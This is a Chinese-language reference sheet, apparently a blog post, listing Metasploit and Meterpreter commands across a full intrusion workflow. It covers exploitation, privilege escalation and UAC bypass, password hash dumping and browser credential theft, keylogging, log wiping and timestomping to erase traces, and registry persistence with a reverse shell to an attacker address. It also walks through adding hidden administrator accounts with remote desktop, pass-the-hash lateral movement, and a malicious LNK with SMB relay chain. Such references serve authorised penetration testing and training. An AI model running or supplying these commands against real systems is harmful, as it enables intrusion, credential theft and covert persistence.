Metasploit 命令參考

MSF終端命令

常用命令

  • show exploits
    列出 Metasploit 框架中的所有滲透攻擊模塊
  • show payloads
    列表 Metasploit 框架中所有的攻擊載荷
  • show auxiliary
    列出 Metasploit 框架中的所有輔助攻擊模塊
  • search name
    查找 Metasploit 框架中所有的滲透攻擊和其他模塊
  • info
    展示出制定滲透攻擊或模塊的相關信息
  • use name
    裝載一個滲透攻擊或者模塊(例如:使用 use windows/smb.psexec)
  • show options
    列出某個滲透攻擊或模塊中所有的配置參數
  • show targets
    列出滲透攻擊所支持的目標平臺
  • show payloads
    列出所有可用的payloads
  • show advanced
    列出所有高級配置選項
  • set payload Payload
    指定要使用的攻擊載荷
  • set target Num
    指定滲透攻擊的目標平臺,Num是show targets命令中所展示的索引
  • set autorunscript migrate -f
    在攻擊完成後,將自動遷移到另一個進程
  • check
    檢測目標是否對選定的滲透攻擊存在相應安全漏洞
  • exploit/run
    執行攻擊,部分輔助模塊是用run
  • exploit -j
    在計劃任務下進行滲透攻擊(攻擊將在後臺進行)
  • exploit -z
    滲透攻擊成功後不與會話進行交互
  • exploit -e encoder
    制定使用的攻擊載荷編碼方式(例如:exploit -e shikata_ga_nai)
  • exploit -h
    列出exploit命令的幫助信息
  • sessions -I
    列出可用的交互會話
  • sessions -I -v
    列出所有可用的交互會話以及會話詳細信息
  • sessions -s script
    在所有活躍的 Meterpreter 會話中運行一個特定的腳本 Meterpreter 腳本
  • sessions -K
    殺死所有活躍的交互會話
  • sessions -c cmd
    在所有活躍的交互會話上執行一個命令
  • sessions -u sessionID
    升級一個普通的Win32 shell 到 Meterpreter shell(不知道有什麼用)
  • sessions -i index
    進入指定交互會話
  • jobs
    查看當前運行的模塊

數據庫相關命令

  • db_create name
    創建一個數據庫驅動攻擊所要使用的數據庫
  • db_connect name
    創建並連接一個數據庫
  • db_nmap
    利用 nmap 並把掃描數據存儲到數據庫中
  • db_autopwn -h
    展示出 db_autopwn 命令的幫助信息
  • db_autopwn -p -r -e
    對所有發現的開放端口執行 db_autopwn,攻擊所有系統
  • db_destroy
    刪除當前數據庫
  • db_destroy user:password@host:port/database
    使用高級選項來刪除數據庫

Meterpreter命令

常用命令

  • help
    打開 Meterpreter 使用幫助
  • run scriptname
    運行 Meterpreter 腳本,在 scripts/meterpreter 目錄下可查看到所有腳本
  • use priv
    加載特權提升擴展模塊,來擴展 Meterpreter 庫
  • getprivs
    儘可能多地獲取目標主機上的特權
  • getsystem
    通過各種攻擊向量來提升到系統用戶權限
  • hashdump
    導出目標主機中的口令哈希值
  • rev2self
    回到控制目標主機的初始用戶賬戶下
  • setdesktop number
    切換到另一個用戶界面(該功能基於哪些用戶已登錄)
  • screenshot
    對目標主機的屏幕進行截圖
  • background
    將當前 Meterpreter shell 轉爲後臺執行
  • quit
    關閉當前Meterpreter會話,返回MSF終端

系統命令

  • ps
    顯示所有運行進程以及關聯的用戶賬戶
  • migrate PID
    遷移到一個指定的進程PID
  • execute
    執行目標機上的文件
    例1:在目標機上隱藏執行cmd.exe
    execute -H -f cmd.exe
    例2:與cmd進行交互
    execute -H -i -f cmd.exe
    例3:直接從內存中執行攻擊端的可執行文件
    execute -H -m -d calc.exe -f wce.exe -a “-o foo.txt”
    1) -d選項設置需要顯示的進程名
    2) 可執行文件(wce.exe)不需要在目標機上存儲,不會留下痕跡
  • getpid
    獲得當前會話所在進程的PID值
  • kill PID
    終結指定的PID進程
  • getuid
    獲得運行Meterpreter會話的用戶名,從而查看當前會話具有的權限
  • sysinfo
    列出受控主機的系統信息
  • shell
    以所有可用令牌來運行一個交互的shell
  • add_user username password -h IP
    在遠程目標主機上添加一個用戶
  • add_group_user “Domain Admins” username -h IP
    將用戶添加到目標主機的域管理員組中
  • execute -f cmd.exe -i
    執行 cmd.exe 命令並進行交互
  • execute -f cmd.exe -i -t
    以所有可用令牌來執行 cmd 命令並交互
  • execute -f cmd.exe -i -H -t
    以所有可用令牌來執行 cmd 命令並隱藏該進程
  • reboot
    重啓目標主機
  • shutdown
    關閉目標主機

文件模塊

  • ls
    列出目標主機的文件和文件夾信息
  • reg command
    在目標主機註冊表中進行交互,創建、刪除、查詢等
  • upload file
    向目標主機上傳文件
  • download file
    從目標主機下載文件
  • timestomp
    修改文件屬性,例如修改文件的創建時間
    例如:timestomp file1 -f file2
    將file1文件的時間信息設置得與file2文件完全一樣
  • cat
    查看文件內容
  • getwd
    獲得目標機上當前的工作目錄
  • edit
    編輯目標機上的文件
  • search
    對目標機上的文件進行搜索,支持星號匹配,如
    search -d c:\windows -f *.mdb

鍵盤鼠標模塊

  • keyscan_start
    針對目標主機開啓鍵盤記錄功能
  • keyscan_dump
    存儲目標主機上捕獲的鍵盤記錄
  • keyscan_stop
    停止針對目標主機的鍵盤記錄
  • uictl enable keyboard/mouse
    接管目標主機的鍵盤和鼠標

網絡命令

  • ipconfig
    獲取目標機上的網絡接口信息

  • portfwd
    Meterpreter內嵌的端口轉發器,例如將目標機的3389端口轉發到本地的1234端口
    portfwd add -l 1234 -p 3389 -r 192.168.10.142

  • route
    顯示目標機的路由信息

  • run get_local_subnets
    獲取目標機所配置的內網的網段信息

嗅探模塊

  • use sniffer
    加載嗅探模塊
  • sniffer_interfaces
    列出目標主機所有開放的網絡接口
  • sniffer_start interfaceID
    在目標主機指定網卡上開始監聽
  • sniffer_dump interfaceID /tmp/xpsp1.cap
    將指定網卡上嗅探的內容dump到本地/tmp/xpsp1.cap文件中
  • sniffer_stats interfaceID
    獲取正在實施嗅探網絡接口的統計數據
  • sniffer_stop interfaceID
    停止嗅探

日誌清理

  • clearev
    清除目標主機上的日誌記錄
  • run event_manager
    清理日誌
  • 刪除多餘的文件,修改文件的修改時間

後滲透攻擊模塊

兩種使用方法
1、在Msf終端通過 use post/xxxxxx ,然後設置相關的參數(如 SESSION),然後執行exploit
2、在Meterpreter會話中,直接用 run post/xxxxxxxx執行

  • persistence 模塊——開機自啓動
    run persistence -X -i 5 -p 443 -r 192.168.10.141
    命令會在目標主機的註冊表鍵HKLM\Software\Microsoft\Windows\Currentversion\Run中添加一個鍵值,達到開機自啓動
    -X 參數指定啓動的方式爲開機自啓動
    -i 參數指定反向連接的時間間隔

對應攻擊機的監聽操作如下:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.10.141
set LPORT 443
exploit

  • metsvc 模塊——持久化自啓動
    run metsvc
    將Meterpreter以系統服務的形式安裝到目標主機上,在目標主機上開啓監聽並等待連接

  • getgui 模塊——開啓遠程桌面
    run getgui -u metasploit -p meterpreter
    在目標主機上添加了賬號metasploit,其密碼爲meterpreter,並開啓了遠程控制終端
    這時在本地連接目標IP的3389端口即可,如果對方處在內網中,可以使用portfwd命令進行端口轉發

注意:腳本運行會在/root/.msf4/logs/scripts/getgui目錄下生成clean_up__xxxxxxx.rc腳本,
當在遠程桌面操作完之後,可以使用這個腳本清除痕跡,關閉服務、刪除添加的賬號
run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up_xxxxxx.rc

權限提升

  • getsystem
    集成了4種權限提升技術
    getsystem

  • 利用提權模塊,如MS10-073、MS10-092
    位於 /post/windows/escalate 和 exploit/windows/local 目錄中
    可以通過搜索對應的漏洞編號來查看

  • 利用bypassuac模塊進行繞過提權

信息竊取

  • dumplinks 後滲透模塊
    run post/windows/gather/dumplinks
    查看最近處理的文件資料,
    對每一個LNK文件,Metasploit都在/root/.msf4/loot目錄下生成了對應的記錄文件,包含文件的原始位置、創建和修改時間等

  • enum_applications 後滲透模塊
    run post/windows/gather/enum_applications
    獲得目標主機安裝的軟件、安全更新與漏洞補丁的信息

  • 鍵盤記錄相關
    keyscan_start
    keyscan_dump
    keyscan_stop

口令攫取和利用

使用sniffer嗅探模塊

除外post/windows/gather/credentials目錄下集成了數十個口令攫取的後滲透攻擊模塊,
包括VNC、Outlook、FlashFXP、Coreftp、Dyndns等

通過瀏覽器進行口令攫取

  • run post/windows/gather/enum_ie
    讀取緩存的IE瀏覽器密碼

系統口令攫取

  • hashdump
    獲取系統的密碼哈希

  • run windows/gather/smart_hashdump
    如果hashdump不成功,嘗試此命令
    如果開啓了UAC,需要先使用繞過UAC的後滲透攻擊模塊,再獲取

內網拓展

添加路由

run get_local_subnets
background
route add 192.168.10.0 255.255.255.0 1
route print
意味着對192.168.10.0/24網段的所有攻擊和控制的流量都將通過會話1進行轉發

進行445端口掃描

MSF終端:
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.10.0/25
set PORTS 445
run

哈希傳遞攻擊

MSF終端:
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.10.128
set LPORT 443
set RHOST 192.168.10.2
set SMBPass xxxxxxxxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxxx
exploit

MS08-068和MS10-046漏洞相互配合

MS08-068:當目標機通過SMB協議連接到攻擊者的惡意SMB服務器時,攻擊者延時發送SMB響應,提取目標機發送的重要字段如NTLM哈希並對目標機進行重放,達到身份認證的目的後可以執行任意代碼
MS10-046:LNK快捷方式文件漏洞
* 生成惡意lnk文件
MSF終端:
use post/windows/escalate/droplnk
set LHOST 192.168.10.141 // 查看session的Connection字段
set SESSION 19 // 對應的session id
exploit
會在目標主機的C:\WINDOWS\system32目錄下創建一個Words.lnk文件,
當存在漏洞的目標機打開了包含此快捷方式的文件夾,就會以SMB方式連接到設定的SMB服務器(192.168.10.141),以嘗試加載遠程圖標

  • 搭建SMB服務器
    MSF終端:
    use windows/smb/smb_relay
    set SRVHOST 192.168.10.141
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.10.141
    exploit
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章